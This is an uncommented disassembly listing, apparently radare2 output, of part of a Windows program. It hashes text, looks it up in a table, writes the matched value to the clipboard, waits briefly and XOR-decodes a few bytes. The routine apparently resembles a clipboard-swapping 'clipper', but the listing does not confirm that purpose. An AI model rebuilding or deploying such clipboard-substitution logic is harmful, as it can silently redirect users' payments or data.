pshufd xmm0, xmm1, 0xee
movq r8, xmm0
xor edx, edx
mov rsi, qword [rsp + 0x68]
nop word cs:[rax + rax]
add rax, r9
rol r9, 0xd
mov r11, qword [rsi + rdx]
xor r9, rax
rol rax, 0x20
xor r10, r11
add r8, r10
rol r10, 0x10
xor r10, r8
add rax, r10
rol r10, 0x15
add r8, r9
rol r9, 0x11
xor r9, r8
rol r8, 0x20
xor r10, rax
xor rax, r11
add rdx, 8
cmp rdx, rcx
jb 0x14000b490
movq xmm1, r10
movq xmm0, r9
punpcklqdq xmm0, xmm1
movq xmm2, r8
movq xmm1, rax
punpcklqdq xmm1, xmm2
mov r8d, r14d
and r8d, 7
cmp r8d, 4
jb 0x14000b55a
mov r9d, dword [rsi + rdx]
mov eax, 4
mov rcx, rax
or rcx, 1
cmp rcx, r8
jb 0x14000b56b
jmp 0x14000b585
cmp al, 2
lea rdi, [rsp + 0x70]
mov r13, qword [rsp + 0xc8]
mov r12, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0x68]
jne 0x14000ba8c
lea rcx, [0x14017a038]
call fcn.140107f78
jmp 0x14000ba8c
xor edx, edx
mov rsi, qword [rsp + 0x68]
mov r8d, r14d
and r8d, 7
cmp r8d, 4
jae 0x14000b4fc
xor r9d, r9d
xor eax, eax
mov rcx, rax
or rcx, 1
cmp rcx, r8
jae 0x14000b585
lea rcx, [rsi + rax]
movzx r10d, word [rdx + rcx]
lea ecx, [rax*8]
shl r10, cl
or r9, r10
or rax, 2
cmp rax, r8
jae 0x14000b59e
add rdx, rax
movzx edx, byte [rsi + rdx]
shl eax, 3
mov ecx, eax
shl rdx, cl
or r9, rdx
jmp 0x14000b5a7
test r8, r8
je 0x14000b637
lea ecx, [r8*8]
mov r10d, 0xff
shl r10, cl
or r10, r9
cmp r8, 7
jne 0x14000b63d
pshufd xmm2, xmm0, 0xee
movq rcx, xmm2
xor rcx, r10
movq rdx, xmm0
paddq xmm0, xmm1
movq rax, xmm0
rol rdx, 0xd
xor rdx, rax
rol rax, 0x20
pshufd xmm0, xmm1, 0xee
movq r8, xmm0
add r8, rcx
rol rcx, 0x10
xor rcx, r8
add rax, rcx
rol rcx, 0x15
add r8, rdx
rol rdx, 0x11
xor rcx, rax
xor rdx, r8
movq xmm1, rcx
movq xmm0, rdx
punpcklqdq xmm0, xmm1
rol r8, 0x20
xor rax, r10
movq xmm2, r8
movq xmm1, rax
punpcklqdq xmm1, xmm2
xor r10d, r10d
jmp 0x14000b63d
mov r10d, 0xff
mov r9, qword [rsp + 0xf0]
pshufd xmm2, xmm1, 0xee
movq rax, xmm2
movq rcx, xmm0
pshufd xmm2, xmm0, 0xee
movq rdx, xmm2
or r9, r10
paddq xmm0, xmm1
rol rcx, 0xd
movq r8, xmm0
xor rcx, r8
rol r8, 0x20
xor rdx, r9
add rax, rdx
rol rdx, 0x10
xor rdx, rax
add r8, rdx
rol rdx, 0x15
add rax, rcx
rol rcx, 0x11
xor rdx, r8
xor rcx, rax
rol rax, 0x20
xor r8, r9
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
xor rax, 0xff
add rax, rdx
rol rdx, 0x10
xor rdx, rax
add r8, rdx
rol rdx, 0x15
add rax, rcx
rol rcx, 0x11
xor rcx, rax
rol rax, 0x20
xor rdx, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
add rax, rdx
rol rdx, 0x10
xor rdx, rax
add r8, rdx
rol rdx, 0x15
add rax, rcx
rol rcx, 0x11
xor rcx, rax
rol rax, 0x20
xor rdx, r8
add r8, rcx
rol rcx, 0xd
add rax, rdx
rol rdx, 0x10
xor rdx, rax
rol rdx, 0x15
xor rcx, r8
add rax, rcx
rol rcx, 0x11
mov rsi, rax
rol rsi, 0x20
xor rsi, rcx
xor rsi, rdx
xor rsi, rax
mov rcx, qword [0x14017a040]
mov r12, qword [0x14017a048]
mov rax, rsi
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm13, xmm0, 0
mov qword [rsp + 0xc0], rcx
lea r13, [rcx - 0x28]
xor r15d, r15d
and rsi, r12
mov rax, qword [rsp + 0xc0]
movdqu xmm14, xmmword [rax + rsi]
movdqa xmm0, xmm14
pcmpeqb xmm0, xmm13
pmovmskb edi, xmm0
nop dword [rax + rax]
test di, di
je 0x14000b7e0
tzcnt eax, edi
lea ecx, [rdi - 1]
and ecx, edi
mov edi, ecx
add rax, rsi
and rax, r12
neg rax
lea rbx, [rax + rax*4]
cmp r14, qword [r13 + rbx*8 + 0x10]
jne 0x14000b790
lea rax, [rbx*8]
add rax, r13
mov rdx, qword [rax + 8]
mov rcx, qword [rsp + 0x68]
mov r8, r14
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000b790
jmp 0x14000b802
pcmpeqb xmm14, xmm9
pmovmskb eax, xmm14
test eax, eax
jne 0x14000bdfe
add rsi, r15
add rsi, 0x10
add r15, 0x10
jmp 0x14000b769
mov rcx, qword [rsp + 0xc0]
mov rax, qword [rcx + rbx*8 - 0x10]
mov rcx, qword [rcx + rbx*8 - 8]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xd0], rcx
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
lea rax, [0x14008c550]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [0x14003bc30]
mov qword [rsp + 0x58], rax
lea rax, [0x14010fc68]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 3
mov qword [rsp + 0x90], 0
lea r15, [rsp + 0x40]
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], 2
lea rdi, [rsp + 0x70]
mov rcx, rdi
call fcn.1400e8060
mov rbx, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0xa8]
call fcn.140001450
test rax, rax
mov r13, qword [rsp + 0xc8]
mov r12, qword [rsp + 0xe8]
jne 0x14000ba2a
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov ecx, 0xfde9
xor edx, edx
mov r8, rbx
mov r9d, esi
call sub.KERNEL32.dll_MultiByteToWideChar
test rsi, rsi
je 0x14000b92b
test eax, eax
jne 0x14000b92b
call sub.KERNEL32.dll_GetLastError
xor esi, esi
call sub.USER32.dll_CloseClipboard
test eax, eax
lea rbx, [rsp + 0x40]
jne 0x14000b9c7
call sub.KERNEL32.dll_GetLastError
test sil, sil
jne 0x14000b9cc
jmp 0x14000ba2a
movsxd rdi, eax
lea rdx, [rdi*2 + 2]
mov ecx, 0x42
call sub.KERNEL32.dll_GlobalAlloc
test rax, rax
je 0x14000bdf4
mov r15, rax
mov rcx, rax
call sub.KERNEL32.dll_GlobalLock
test rax, rax
je 0x14000bc74
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
mov ecx, 0xfde9
xor edx, edx
mov r8, rbx
mov r9d, esi
mov rsi, rax
call sub.KERNEL32.dll_MultiByteToWideChar
mov word [rsi + rdi*2], 0
mov rcx, r15
call fcn.140037170
call sub.USER32.dll_EmptyClipboard
test eax, eax
jne 0x14000b997
call sub.KERNEL32.dll_GetLastError
mov ecx, 0xd
mov rdx, r15
call sub.USER32.dll_SetClipboardData
mov sil, 1
test rax, rax
lea rdi, [rsp + 0x70]
je 0x14000bd52
call sub.USER32.dll_CloseClipboard
test eax, eax
lea rbx, [rsp + 0x40]
je 0x14000b918
test sil, sil
je 0x14000ba2a
mov byte [rsp + 0xd0], 1
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x40], rax
lea rax, [0x140039370]
mov qword [rsp + 0x48], rax
lea rax, [0x14016e918]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], 1
mov rcx, rdi
call fcn.1400e8060
xor eax, eax
xchg byte [0x14017a038], al
cmp al, 2
lea rcx, [0x14017a038]
jne 0x14000ba42
call fcn.140107f78
test r14, r14
mov rbx, qword [rsp + 0x68]
js 0x14000bdfe
movzx eax, byte [0x14017a148]
xor ecx, ecx
mov rdx, r14
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rsi, rax
mov rcx, rax
mov rdx, rbx
mov r8, r14
call sub.msvcrt.dll_memcpy
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call sub.KERNEL32.dll_CreateWaitableTimerExW
test rax, rax
je 0x14000bb26
mov rsi, rax
mov qword [rsp + 0x70], 0xffffffffffd9da60
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_SetWaitableTimer
test eax, eax
mov r14, qword [rsp + 0xf8]
je 0x14000bb40
mov rcx, rsi
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
mov ebx, eax
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
mov r15, rbp
mov qword [rsp + 0x68], r12
mov qword [rsp + 0xc8], rbp
cmp ebx, 0xffffffff
jne 0x140008c16
jmp 0x140008c09
mov qword [rsp + 0x68], r12
mov qword [rsp + 0xc8], rbp
mov r14, qword [rsp + 0xf8]
jmp 0x140008c09
mov qword [rsp + 0x68], r12
mov qword [rsp + 0xc8], rbp
jmp 0x140008f79
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x14000bdfe
mov ecx, eax
mov edx, eax
inc edx
xor eax, eax
lock cmpxchg dword [0x14010a0a0], edx
je 0x140009821
mov esi, eax
call sub.KERNEL32.dll_TlsFree
dec esi
mov ecx, esi
jmp 0x140009821
cmp qword [0x14010a088], 0
je 0x14000bc9f
mov rax, qword [0x14017d038]
mov dword [rsp + 0x40], 0
lea rcx, [0x14010a098]
xor edx, edx
mov r8, r15
xor r9d, r9d
call sub.KERNEL32.dll_InitOnceBeginInitialize
cmp eax, 1
jne 0x14000bdfe
cmp dword [rsp + 0x40], 0
je 0x14000bd5f
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x14000be00
mov esi, eax
inc eax
mov dword [0x14010a0a0], eax
mov rax, qword [0x14017a0a0]
lea rcx, [0x14010a088]
nop word cs:[rax + rax]
mov qword [0x14010a090], rax
lock cmpxchg qword [0x14017a0a0], rcx
jne 0x14000bc00
lea rcx, [0x14010a098]
xor edx, edx
xor r8d, r8d
call sub.KERNEL32.dll_InitOnceComplete
mov ecx, esi
jmp 0x14000994b
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x14000bdfe
mov ecx, eax
mov edx, eax
inc edx
xor eax, eax
lock cmpxchg dword [0x14010a0a0], edx
je 0x140009853
mov esi, eax
call sub.KERNEL32.dll_TlsFree
dec esi
mov ecx, esi
jmp 0x140009853
mov ecx, dword [0x14010a0a0]
jmp 0x14000981f
mov ecx, dword [0x14010a0a0]
jmp 0x140009851
call sub.KERNEL32.dll_GetLastError
mov rcx, r15
call sub.KERNEL32.dll_GlobalFree
xor esi, esi
lea rdi, [rsp + 0x70]
call sub.USER32.dll_CloseClipboard
test eax, eax
lea rbx, [rsp + 0x40]
jne 0x14000b9c7
jmp 0x14000b918
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x14000bdfe
mov ecx, eax
mov edx, eax
inc edx
xor eax, eax
lock cmpxchg dword [0x14010a0a0], edx
je 0x14000994b
mov esi, eax
call sub.KERNEL32.dll_TlsFree
dec esi
mov ecx, esi
jmp 0x14000994b
lea rax, [0x14010bcf7]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0xc70c03a5c1d12b35
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.1400e8a60
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rbx, rax
shl edi, 0x10
or esi, edi
mov eax, esi
shr eax, 0x10
xor al, 0x82
mov ecx, esi
xor cl, 0xe9
shr esi, 8
xor sil, 0x4f
movzx ecx, cl
movzx edx, sil
shl edx, 8
or edx, ecx
mov word [rbx], dx
mov byte [rbx + 2], al
jmp 0x14000acb4
mov rcx, r15
call fcn.1400370d0
jmp 0x14000b8ff
mov ecx, dword [0x14010a0a0]
jmp 0x140009949
mov rdx, r8
or rdx, 0x20
test r8, r8
jne 0x140009660
movdqu xmm0, xmmword [r13 + rdx]
movdqa xmm1, xmm0
pxor xmm1, xmm10
paddq xmm1, xmm11
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq r8, xmm1
test r8, r9
jne 0x140009660
jmp 0x140009675
mov rcx, rax
or rcx, 0x20
test rax, rax
jne 0x140009800
movdqu xmm0, xmmword [r13 + rcx]
movdqa xmm1, xmm0
pxor xmm1, xmm12
paddq xmm1, xmm11
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq rax, xmm1
test rax, rdx
jne 0x140009800
jmp case.0x140009022.36
call fcn.140037160
jmp 0x14000bc81
ud2
lea rcx, [0x14010a098]
mov edx, 4
xor r8d, r8d
call sub.KERNEL32.dll_InitOnceComplete
ud2